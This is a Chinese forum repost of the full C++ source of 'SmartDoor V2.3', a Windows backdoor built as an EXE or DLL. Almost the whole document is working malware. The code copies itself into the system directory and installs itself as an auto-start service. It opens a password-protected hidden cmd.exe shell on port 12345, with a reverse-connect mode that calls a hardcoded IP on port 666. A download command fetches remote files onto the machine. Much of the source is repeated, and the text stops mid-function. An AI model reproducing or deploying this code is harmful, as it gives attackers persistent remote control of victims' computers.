sdcs V2.3 exe/dll 正+反弹后门(转)
文章作者:dream2fly
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
// SmartDoor.cpp : 定义 DLL 应用程序的入口点。
//http://www.dream2fly.net/
//源码公布说明:从网络中来到网络中去,QQ:78623269定制^_^
#include "stdafx.h"
#include "SDdllw.h"
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>
using namespace::std;
#include <Shellapi.h>
#include <winsock2.h>
#include <urlmon.h>
#pragma comment (lib,"ws2_32")
#pragma comment (lib, "urlmon.lib")
void LogToFile(const char * , int nErrNo = 0) ; //日志记录
#define MAXLINK 5 //客户端连接最大数目
#define PASSWORD "dream2fly" //连接密码
u_short g_nPort = 12345; //定义监听端口
//#define _REVERSE 1
#define BUFLEN 65535
bool Passport(SOCKET *csock);
void ConnectClient();
void ShellServer();
//命令行执行函数
DWORD WINAPI ExeCmdShell(LPVOID lp);
#define SERVICENAME "Remote Command Server"
#define SERVICEDISPLAYNAME SERVICENAME
SC_HANDLE scm,svc;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
DWORD IsService( BOOL& );
int InitService();
void InstallService();
int DeleteSvc();
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv);
void WINAPI ServiceCtrlHandler(DWORD dwControl);
#ifdef _MYEXE
//程序入口
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
int nArg;
LPWSTR *para = CommandLineToArgvW(::GetCommandLineW(),&nArg);
if (nArg!=1)
{
g_nPort=_wtoi(para[1]);
}
LocalFree(para);
InitService();
return 0;
}
#else
//程序入口
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#endif
int InitService(void)
{
//服务入口表
SERVICE_TABLE_ENTRY ServiceTableEntry[] = {
{ SERVICENAME, ServiceMain },
{ NULL, NULL } };
BOOL bService = TRUE;
// This process should be a service :)
IsService( bService );
if ( bService )
{ // Start service
LogToFile( "This process is service" , GetLastError() );
if (!StartServiceCtrlDispatcher(ServiceTableEntry))
{
LogToFile( "StartServiceCtrlDispatcher" , GetLastError() );
InstallService();
}
}
else//如果不是服务启动,安装服务
{
LogToFile( "This process is not service" , GetLastError() );
InstallService();
}
return 0;
}
//http://www.dream2fly.net/
//源码公布说明:从网络中来到网络中去,QQ:78623269定制^_^
// Deletes service
int DeleteSvc()
{
// Open service manager
SC_HANDLE hSCM = ::OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL)
{
LogToFile( "DeleteSvc->OpenSCManager" ,GetLastError() );
return 0;
}
// OPen service
SC_HANDLE hService = ::OpenService( hSCM, SERVICENAME, SERVICE_ALL_ACCESS );
if (hService == NULL)
{
LogToFile( "DeleteSvc->OpenService" ,GetLastError() );
::CloseServiceHandle(hSCM);
return 0;
}
//SERVICE_STATUS status;
//if(!ControlService(hService, SERVICE_CONTROL_STOP, &status))
//{
// LogToFile( "DeleteSvc->ControlService", GetLastError() );
//}
// Deletes service from service database
if (0 == DeleteService( hService ))
{
LogToFile( "DeleteSvc->DeleteService" ,GetLastError() );
return 0;
}
// Stop the service
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
if (!SetServiceStatus (ServiceStatusHandle, &ServiceStatus))
{
LogToFile( "DeleteSvc->SetServiceStatus", GetLastError() );
}
::CloseServiceHandle(hService);
::CloseServiceHandle(hSCM);
return 0;
}
string WideToMutilByte(const wstring& _src)
{
int nLen = (int)_src.length();
char *pszTemp = new char[sizeof(wchar_t)*(nLen + 1)];
int pos = WideCharToMultiByte(GetACP(), 0, _src.c_str(), nLen, pszTemp, sizeof(wchar_t)*(nLen + 1), 0, FALSE);
pszTemp[pos] = '\0';
string strRet(pszTemp);
delete []pszTemp;
return strRet;
}
void InstallService()
{
char szSysDir[MAX_PATH] = {0};
GetSystemDirectory(szSysDir,sizeof(szSysDir));
#ifdef _MYEXE
//获得进程的绝对路径
char szExePath[MAX_PATH] = {0};
//获得本程序EXE所在地的full path
GetModuleFileName(NULL,szExePath,MAX_PATH);
//获得执行文件名
char *ExeName=szExePath+strlen(szExePath);
for(;*ExeName!='\\';ExeName--)
NULL;
ExeName++;
char szServicPath[MAX_PATH];
memset(szServicPath,0,sizeof(szServicPath));
strcpy(szServicPath, szSysDir);
strcat(szServicPath,"\\");
strcat(szServicPath,ExeName);
#else
char szCurDir[MAX_PATH] = {0};
GetCurrentDirectory(MAX_PATH-1,szCurDir);
TCHAR szExeFile[MAX_PATH] = {0};
int nArg;
LPWSTR *para = CommandLineToArgvW(::GetCommandLineW(),&nArg);
if (nArg!=1)
{
_tcscpy(szExeFile, WideToMutilByte(para[1]).c_str());
}
//获得执行文件名
char *ExeNameEnd=szExeFile;
for(;*ExeNameEnd!=',';ExeNameEnd++)
NULL;
char szExePath[MAX_PATH] = {0};
strcpy(szExePath, szCurDir);
strcat(szExePath,"\\");
strncat(szExePath,szExeFile, ExeNameEnd - szExeFile);
char szServicPath[MAX_PATH] = {0};
strcpy(szServicPath, szSysDir);
strcat(szServicPath,"\\");
strncat(szServicPath,szExeFile, ExeNameEnd - szExeFile);
#endif
#ifdef _DEBUG
strcpy(szServicPath, szExePath);
#else
//成功返回1,失败返回0.复制方向--->>
if(!CopyFile(szExePath,szServicPath,FALSE))
{
LogToFile( "CopyFile" , GetLastError() );
}
#endif
if(stricmp(szExePath, szServicPath))
{
DeleteFile(szExePath);
}
char szDllStartPath[MAX_PATH] = {0};
#ifdef _MYEXE
strcpy(szDllStartPath, szExePath);
#else
strcpy(szDllStartPath, szSysDir);
strcat(szDllStartPath, "\\rundll32.exe ");
strcat(szDllStartPath, szServicPath);
strcat(szDllStartPath, ",InitService");
#endif
//实现服务启动
scm=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (scm==NULL)
{
LogToFile( "OpenSCManager" ,GetLastError() );
}
else
{
svc=::CreateService(scm,SERVICENAME,SERVICEDISPLAYNAME,SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,szDllStartPath,NULL,NULL,NULL,NULL,NULL);
if (svc != NULL || GetLastError() == ERROR_SERVICE_EXISTS)
{
LogToFile( "OpenService" , GetLastError() );
svc=::OpenService(scm,SERVICENAME,SERVICE_START);
if (svc == NULL)
{
LogToFile( "OpenService", GetLastError() );
}
else
{
if (!StartService(svc,0,NULL))
{
LogToFile( "StartService", GetLastError() );
}
}
}
else
{
LogToFile( "CreateService", GetLastError() );
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
}
}
//服务控制器
void WINAPI ServiceCtrlHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState=SERVICE_RUNNING;
break;
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState=SERVICE_PAUSED;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
if (!SetServiceStatus (ServiceStatusHandle,&ServiceStatus))
{
LogToFile( "ServiceCtrlHandler->SetServiceStatus", GetLastError() );
}
return;
}
//服务的真正入口点函数
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
ServiceStatus.dwServiceType=SERVICE_WIN32;
ServiceStatus.dwCurrentState=SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode=0;
ServiceStatus.dwWaitHint=0;
ServiceStatus.dwCheckPoint=0;
ServiceStatus.dwWin32ExitCode=0;
ServiceStatusHandle=RegisterServiceCtrlHandler(SERVICENAME,ServiceCtrlHandler);
if (ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
{
LogToFile( "ServiceMain->RegisterServiceCtrlHandler", GetLastError() );
return;
}
//一个服务对应一个控制处理器
//设为运行状态
ServiceStatus.dwCurrentState=SERVICE_RUNNING;
ServiceStatus.dwWaitHint=0;
ServiceStatus.dwCheckPoint=0;
if (!SetServiceStatus (ServiceStatusHandle, &ServiceStatus))
{
LogToFile( "ServiceMain->SetServiceStatus", GetLastError() );
}
else
{
#ifdef _REVERSE
while (1)
{
ConnectClient();
Sleep(100);
}
#else
ShellServer();
#endif
}
return ;
}
void ConnectClient()
{
int ret;
WSADATA wsa;
ret=WSAStartup(0x0202,&wsa);
if(ret==INVALID_SOCKET)
{
LogToFile( "WSAStartup " , GetLastError() );
exit(-1);
}
SOCKET ssock;
ssock=socket(AF_INET,SOCK_STREAM,0);
if(ssock==INVALID_SOCKET){
LogToFile( "socket " , GetLastError() );
exit(-1);
}
//SO_REUSEADDR:允许重用本地地址和端口 int
BOOL flag=TRUE;
ret=setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(char*)&flag,sizeof(flag));
if(ret==SOCKET_ERROR){
LogToFile( "setsockopt " , GetLastError() );
exit(-1);
}
struct sockaddr_in sin;
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr("192.168.2.22");
sin.sin_port=htons(666);
//向客户端发出连接请求,Connect函数的第一个参数是发出请求的客户端的套接字,第二个参数是服务端的地址结构,第三个参数是Server地址结构的长度。
if (connect(ssock, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
LogToFile( "connect" , GetLastError() );
}
else
{
HANDLE h=CreateThread(NULL,0,ExeCmdShell,&ssock,0,0);
WaitForSingleObject(h,INFINITE);
}
closesocket(ssock);
WSACleanup();
}
void ShellServer()
{
int ret;
WSADATA wsa;
ret=WSAStartup(0x0202,&wsa);
if(ret==INVALID_SOCKET)
{
LogToFile( "WSAStartup " , GetLastError() );
exit(-1);
}
SOCKET ssock;
ssock=socket(AF_INET,SOCK_STREAM,0);
if(ssock==INVALID_SOCKET){
LogToFile( "socket " , GetLastError() );
exit(-1);
}
//SO_REUSEADDR:允许重用本地地址和端口 int
BOOL flag=TRUE;
ret=setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(char*)&flag,sizeof(flag));
if(ret==SOCKET_ERROR){
LogToFile( "setsockopt " , GetLastError() );
exit(-1);
}
struct sockaddr_in sin;
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=htonl(ADDR_ANY);
sin.sin_port=htons(g_nPort);
ret=bind(ssock,(struct sockaddr*)&sin,sizeof(sin));
if(ret==SOCKET_ERROR){
LogToFile( "bind " , GetLastError() );
exit(-1);
}
ret=listen(ssock,MAXLINK);
if(ret==SOCKET_ERROR)
{
LogToFile( "listen " , GetLastError() );
exit(-1);
}
while(1)
{
//csock是ssock接受 accept的数据
SOCKET csock=accept(ssock,NULL,NULL);
if(csock==INVALID_SOCKET)
{
LogToFile( "accept" , GetLastError() );
}
HANDLE h=CreateThread(NULL,0,ExeCmdShell,&csock,0,0);
if(h!=NULL)
{
WaitForSingleObject(h,INFINITE);
closesocket(csock);
CloseHandle(h);
}
}
closesocket(ssock);
WSACleanup();
}
//ExeCmdShell: 建立两个管道,实现交互通信 .
DWORD WINAPI ExeCmdShell(LPVOID lp)
{
SOCKET *csock=(SOCKET*)lp;
char *exitok = "\r\n Exit OK! Bye byte!\r\n";
unsigned long lbyte;
char szBuf[BUFLEN]={0};
int ret;
//验证
if(Passport(csock)==false)
{
LogToFile( "Passport", GetLastError() );
closesocket(*csock);
return -1;
}
SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//server:从hrp1读,向hwp2写
//client:从hrp2读,向hwp1写
HANDLE hrp1,hwp1,hrp2,hwp2;
CreatePipe(&hrp1,&hwp1,&sa,0);
CreatePipe(&hrp2,&hwp2,&sa,0);
si.hStdInput=hrp1;
si.hStdOutput=hwp2;
si.hStdError=hwp2;
char szAPP[MAX_PATH] = {0};
GetSystemDirectory(szAPP,MAX_PATH-1);
PROCESS_INFORMATION pi;
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &si, &pi) == 0)
{
LogToFile( "CreateProcess", GetLastError() );
return -1;
}
while(1)
{
//client:从hrp2读,向hwp1写,通过csock传输
//csock是ssock接受 accept的数据
lbyte = 0;
memset(szBuf,0,sizeof(szBuf));
int i=0;
while(i<3)
{
PeekNamedPipe(hrp2,szBuf,BUFLEN,&lbyte,0,0);
if(lbyte)
{
if(0==ReadFile(hrp2,szBuf,lbyte,&lbyte,0))
{
break;
}
szBuf[lbyte] = 0;
LogToFile( "cmd+++++++++++++++++" );
LogToFile( szBuf );
lbyte = send(*csock,szBuf,lbyte,0);
if (lbyte <= 0)
{
break;
}
}
else
{
Sleep(50);
i++;
continue;
}
}
FD_SET fde;
FD_ZERO(&fde);
FD_SET(*csock,&fde);
struct timeval tv={0,50};
ret=select(0,NULL,NULL,&fde,&tv);//返回exceptfds 有问题的个数
if (ret > 0)
{
break;
}
ret=recv(*csock,szBuf,BUFLEN,0);
if(!ret) break;
szBuf[ret] = 0;
LogToFile( "recv----------------" );
LogToFile( szBuf );
if (!strncmp(szBuf,"get", 3))
{
char szUrl[MAX_PATH] = {0};
//获得执行文件名
char *szFileName = szBuf + 4;
for(;*szFileName!=' ';szFileName++)
NULL;
szFileName++;
char szFilePath[MAX_PATH] = {0};
strncpy(szFilePath, szFileName, strlen(szFileName) - 1);
strncpy(szUrl,szBuf + 4, strlen(szBuf) - strlen(szFileName) -4 -1);
LogToFile( "get----------------" );
LogToFile(szUrl);
LogToFile( szFileName );
LogToFile( szFilePath );
HRESULT hr;
hr = URLDownloadToFile(0, szUrl, szFilePath, 0, 0);
if(hr!=S_OK)
send(*csock, "下载文件失败!", strlen("下载文件失败!"), 0);
else
send(*csock, "下载文件成功!", strlen("下载文件成功!"), 0);
LogToFile( "URLDownloadToFile", GetLastError() );
WriteFile(hwp1,"\r\n",2,&lbyte,0);
continue;
}
WriteFile(hwp1,szBuf,ret,&lbyte,0);
if(!strncmp(szBuf,"exit", 4) || !strncmp(szBuf,"shut", 4))
{
// 写退出信息
send(*csock, exitok, strlen(exitok), 0);
break;
}
Sleep(300);
}
//杀死cmd进程并关闭管道
if (!TerminateProcess( pi.hProcess, 0 ))
{
LogToFile( "TerminateProcess", GetLastError() );
}
CloseHandle( hrp1 );
CloseHandle( hrp2 );
CloseHandle( hwp1 );
CloseHandle( hwp2 );
return 0;
}
bool Passport(SOCKET *csock)
{
#ifdef _MYEXE
char *messages = "\r\n========== SmartDoor exe V2.3 ==========\
\r\n========== Code by dream2fly ==========\
\r\n========== Welcome to [url]Http://www.dream2fly.net[/url] ==========\r\n";
#else
char *messages = "\r\n========== SmartDoor dll V2.3 ==========\
\r\n========== Code by dream2fly ==========\
\r\n========== Welcome to [url]Http://www.dream2fly.net[/url] ==========\r\n";
#endif
char *getpass = "\r\nPlease input your password:";
char *passok = "\r\nLogin success!Now, You have a shell^_^\r\n\n";
char *passwrong = "\r\nSorry,your password is wrong.Please try again..";
char *userwrong = "\r\nSorry,you have tried more than three times,byebye!\r\n";
char Buf[1024]={0};
unsigned int count;
//设置超时
int ntime=50000;
int ret=setsockopt(*csock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
if(ret==SOCKET_ERROR)
{
LogToFile( "Passport->setsockopt", GetLastError() );
exit(-1);
}
// 显示版权,验证密码
send(*csock,messages,strlen(messages),0);
send(*csock,getpass,strlen(getpass),0);
Sleep(10000);
//接收数据
recv(*csock,Buf,1024,0);
count=0;
while(!(strstr(Buf, PASSWORD)))
{
count++;
if(count>3)
{
send(*csock, userwrong, strlen(userwrong), 0);
return false;
//DisconnectEx(*csock, NULL ,0 ,0);
}
//如果密码错误,写密码错误信息
send(*csock, passwrong, strlen(passwrong), 0);
//继续验证密码
send(*csock,getpass,strlen(getpass),0);
Sleep(8000);
//接收数据
memset(Buf,0,1024);
recv(*csock,Buf,1024,0);
}
//通过验证
send(*csock, passok, strlen(passok), 0);
return true;
}
// This process is a service or is not ?
DWORD IsService( BOOL& isService )
{
DWORD pID = GetCurrentProcessId();
HANDLE hProcessToken = NULL;
DWORD groupLength = 50;
PTOKEN_GROUPS groupInfo = NULL;
SID_IDENTIFIER_AUTHORITY siaNt = SECURITY_NT_AUTHORITY;
PSID pInteractiveSid = NULL;
PSID pServiceSid = NULL;
DWORD dwRet = NO_ERROR;
// reset flags
BOOL isInteractive = FALSE;
isService = FALSE;
DWORD ndx;
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pID );
// open the token
if (!::OpenProcessToken( hProcess, TOKEN_QUERY, &hProcessToken) )
{
dwRet = ::GetLastError();
goto closedown;
}
// allocate a buffer of default size
groupInfo = (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);
if (groupInfo == NULL)
{
dwRet = ::GetLastError();
goto closedown;
}
// try to get the info
if (!::GetTokenInformation(hProcessToken, TokenGroups,
groupInfo, groupLength, &groupLength))
{
// if buffer was too small, allocate to proper size, otherwise error
if (::GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
dwRet = ::GetLastError();
goto closedown;
}
::LocalFree(groupInfo);
groupInfo = (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);
if (groupInfo == NULL)
{
dwRet = ::GetLastError();
goto closedown;
}
if (!GetTokenInformation(hProcessToken, TokenGroups,
groupInfo, groupLength, &groupLength))
{
dwRet = ::GetLastError();
goto closedown;
}
}
// create comparison sids
if (!AllocateAndInitializeSid(&siaNt, 1, SECURITY_INTERACTIVE_RID,
0, 0, 0, 0, 0, 0, 0, &pInteractiveSid))
{
dwRet = ::GetLastError();
goto closedown;
}
if (!AllocateAndInitializeSid(&siaNt, 1, SECURITY_SERVICE_RID,
0, 0, 0, 0, 0, 0, 0, &pServiceSid))
{
dwRet = ::GetLastError();
goto closedown;
}
// try to match sids
for (ndx = 0; ndx < groupInfo->GroupCount ; ndx += 1)
{
SID_AND_ATTRIBUTES sanda = groupInfo->Groups[ndx];
PSID pSid = sanda.Sid;
if (::EqualSid(pSid, pInteractiveSid))
{
isInteractive = TRUE;
isService = FALSE;
break;
}
else if (::EqualSid(pSid, pServiceSid))
{
isService = TRUE;
isInteractive = FALSE;
break;
}
}
if ( !( isService || isInteractive ) )
isService = TRUE;
closedown:
if ( pServiceSid )
::FreeSid( pServiceSid );
if ( pInteractiveSid )
::FreeSid( pInteractiveSid );
if ( groupInfo )
::LocalFree( groupInfo );
if ( hProcessToken )
::CloseHandle( hProcessToken );
if ( hProcess )
::CloseHandle( hProcess );
return dwRet;
}
///////////////////////////////////////////////////////////////////////////////
//记录日志函数
///////////////////////////////////////////////////////////////////////////////
#ifdef _DEBUG
void LogToFile(const char *str, int nErrNo)
{
static char DEBUG_LOG[MAX_PATH] = "D:\\编程资料\\projects\\SDoor\\SmartDoor.log";
FILE *fp;
fp = fopen( DEBUG_LOG, "a" );
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_InsertS,
NULL,
nErrNo,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0,
NULL
);
char szErrBuf[BUFLEN] = { 0 };
sprintf( szErrBuf, "[SmartLog]\r\nErrorFun = -|%s|-\r\nErrorNum = %d\r\nErrorMsg = %s\r\n",str, nErrNo, (LPCTSTR)lpMsgBuf);
fputs(szErrBuf, fp );
fclose( fp );
LocalFree (lpMsgBuf);
//printf(szErrBuf);
}
#else
void LogToFile(const char *str , int nErrNo)
{
;
}
#endif
//http://www.dream2fly.net/
//源码公布说明:从网络中来到网络中去,QQ:78623269定制^_^
#include "stdafx.h"
#include "SDdllw.h"
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>
using namespace::std;
#include <Shellapi.h>
#include <winsock2.h>
#include <urlmon.h>
#pragma comment (lib,"ws2_32")
#pragma comment (lib, "urlmon.lib")
void LogToFile(const char * , int nErrNo = 0) ; //日志记录
#define MAXLINK 5 //客户端连接最大数目
#define PASSWORD "dream2fly" //连接密码
u_short g_nPort = 12345; //定义监听端口
//#define _REVERSE 1
#define BUFLEN 65535
bool Passport(SOCKET *csock);
void ConnectClient();
void ShellServer();
//命令行执行函数
DWORD WINAPI ExeCmdShell(LPVOID lp);
#define SERVICENAME "Remote Command Server"
#define SERVICEDISPLAYNAME SERVICENAME
SC_HANDLE scm,svc;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
DWORD IsService( BOOL& );
int InitService();
void InstallService();
int DeleteSvc();
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv);
void WINAPI ServiceCtrlHandler(DWORD dwControl);
#ifdef _MYEXE
//程序入口
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
int nArg;
LPWSTR *para = CommandLineToArgvW(::GetCommandLineW(),&nArg);
if (nArg!=1)
{
g_nPort=_wtoi(para[1]);
}
LocalFree(para);
InitService();
return 0;
}
#else
//程序入口
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#endif
int InitService(void)
{
//服务入口表
SERVICE_TABLE_ENTRY ServiceTableEntry[] = {
{ SERVICENAME, ServiceMain },
{ NULL, NULL } };
BOOL bService = TRUE;
// This process should be a service :)
IsService( bService );
if ( bService )
{ // Start service
LogToFile( "This process is service" , GetLastError() );
if (!StartServiceCtrlDispatcher(ServiceTableEntry))
{
LogToFile( "StartServiceCtrlDispatcher" , GetLastError() );
InstallService();
}
}
else//如果不是服务启动,安装服务
{
LogToFile( "This process is not service" , GetLastError() );
InstallService();
}
return 0;
}
//http://www.dream2fly.net/
//源码公布说明:从网络中来到网络中去,QQ:78623269定制^_^
// Deletes service
int DeleteSvc()
{
// Open service manager
SC_HANDLE hSCM = ::OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL)
{
LogToFile( "DeleteSvc->OpenSCManager" ,GetLastError() );
return 0;
}
// OPen service
SC_HANDLE hService = ::OpenService( hSCM, SERVICENAME, SERVICE_ALL_ACCESS );
if (hService == NULL)
{
LogToFile( "DeleteSvc->OpenService" ,GetLastError() );
::CloseServiceHandle(hSCM);
return 0;
}
//SERVICE_STATUS status;
//if(!ControlService(hService, SERVICE_CONTROL_STOP, &status))
//{
// LogToFile( "DeleteSvc->ControlService", GetLastError() );
//}
// Deletes service from service database
if (0 == DeleteService( hService ))
{
LogToFile( "DeleteSvc->DeleteService" ,GetLastError() );
return 0;
}
// Stop the service
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
if (!SetServiceStatus (ServiceStatusHandle, &ServiceStatus))
{
LogToFile( "DeleteSvc->SetServiceStatus", GetLastError() );
}
::CloseServiceHandle(hService);
::CloseServiceHandle(hSCM);
return 0;
}
string WideToMutilByte(const wstring& _src)
{
int nLen = (int)_src.length();
char *pszTemp = new char[sizeof(wchar_t)*(nLen + 1)];
int pos = WideCharToMultiByte(GetACP(), 0, _src.c_str(), nLen, pszTemp, sizeof(wchar_t)*(nLen + 1), 0, FALSE);
pszTemp[pos] = '\0';
string strRet(pszTemp);
delete []pszTemp;
return strRet;
}
void InstallService()
{
char szSysDir[MAX_PATH] = {0};
GetSystemDirectory(szSysDir,sizeof(szSysDir));
#ifdef _MYEXE
//获得进程的绝对路径
char szExePath[MAX_PATH] = {0};
//获得本程序EXE所在地的full path
GetModuleFileName(NULL,szExePath,MAX_PATH);
//获得执行文件名
char *ExeName=szExePath+strlen(szExePath);
for(;*ExeName!='\\';ExeName--)
NULL;
ExeName++;
char szServicPath[MAX_PATH];
memset(szServicPath,0,sizeof(szServicPath));
strcpy(szServicPath, szSysDir);
strcat(szServicPath,"\\");
strcat(szServicPath,ExeName);
#else
char szCurDir[MAX_PATH] = {0};
GetCurrentDirectory(MAX_PATH-1,szCurDir);
TCHAR szExeFile[MAX_PATH] = {0};
int nArg;
LPWSTR *para = CommandLineToArgvW(::GetCommandLineW(),&nArg);
if (nArg!=1)
{
_tcscpy(szExeFile, WideToMutilByte(para[1]).c_str());
}
//获得执行文件名
char *ExeNameEnd=szExeFile;
for(;*ExeNameEnd!=',';ExeNameEnd++)
NULL;
char szExePath[MAX_PATH] = {0};
strcpy(szExePath, szCurDir);
strcat(szExePath,"\\");
strncat(szExePath,szExeFile, ExeNameEnd - szExeFile);
char szServicPath[MAX_PATH] = {0};
strcpy(szServicPath, szSysDir);
strcat(szServicPath,"\\");
strncat(szServicPath,szExeFile, ExeNameEnd - szExeFile);
#endif
#ifdef _DEBUG
strcpy(szServicPath, szExePath);
#else
//成功返回1,失败返回0.复制方向--->>
if(!CopyFile(szExePath,szServicPath,FALSE))
{
LogToFile( "CopyFile" , GetLastError() );
}
#endif
if(stricmp(szExePath, szServicPath))
{
DeleteFile(szExePath);
}
char szDllStartPath[MAX_PATH] = {0};
#ifdef _MYEXE
strcpy(szDllStartPath, szExePath);
#else
strcpy(szDllStartPath, szSysDir);
strcat(szDllStartPath, "\\rundll32.exe ");
strcat(szDllStartPath, szServicPath);
strcat(szDllStartPath, ",InitService");
#endif
//实现服务启动
scm=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (scm==NULL)
{
LogToFile( "OpenSCManager" ,GetLastError() );
}
else
{
svc=::CreateService(scm,SERVICENAME,SERVICEDISPLAYNAME,SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,szDllStartPath,NULL,NULL,NULL,NULL,NULL);
if (svc != NULL || GetLastError() == ERROR_SERVICE_EXISTS)
{
LogToFile( "OpenService" , GetLastError() );
svc=::OpenService(scm,SERVICENAME,SERVICE_START);
if (svc == NULL)
{
LogToFile( "OpenService", GetLastError() );
}
else
{
if (!StartService(svc,0,NULL))
{
LogToFile( "StartService", GetLastError() );
}
}
}
else
{
LogToFile( "CreateService", GetLastError() );
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
}
}
//服务控制器
void WINAPI ServiceCtrlHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState=SERVICE_RUNNING;
break;
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState=SERVICE_PAUSED;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
if (!SetServiceStatus (ServiceStatusHandle,&ServiceStatus))
{
LogToFile( "ServiceCtrlHandler->SetServiceStatus", GetLastError() );
}
return;
}
//服务的真正入口点函数
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
ServiceStatus.dwServiceType=SERVICE_WIN32;
ServiceStatus.dwCurrentState=SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode=0;
ServiceStatus.dwWaitHint=0;
ServiceStatus.dwCheckPoint=0;
ServiceStatus.dwWin32ExitCode=0;
ServiceStatusHandle=RegisterServiceCtrlHandler(SERVICENAME,ServiceCtrlHandler);
if (ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
{
LogToFile( "ServiceMain->RegisterServiceCtrlHandler", GetLastError() );
return;
}
//一个服务对应一个控制处理器
//设为运行状态
ServiceStatus.dwCurrentState=SERVICE_RUNNING;
ServiceStatus.dwWaitHint=0;
ServiceStatus.dwCheckPoint=0;
if (!SetServiceStatus (ServiceStatusHandle, &ServiceStatus))
{
LogToFile( "ServiceMain->SetServiceStatus", GetLastError() );
}
else
{
#ifdef _REVERSE
while (1)
{
ConnectClient();
Sleep(100);
}
#else
ShellServer();
#endif
}
return ;
}
void ConnectClient()
{
int ret;
WSADATA wsa;
ret=WSAStartup(0x0202,&wsa);
if(ret==INVALID_SOCKET)
{
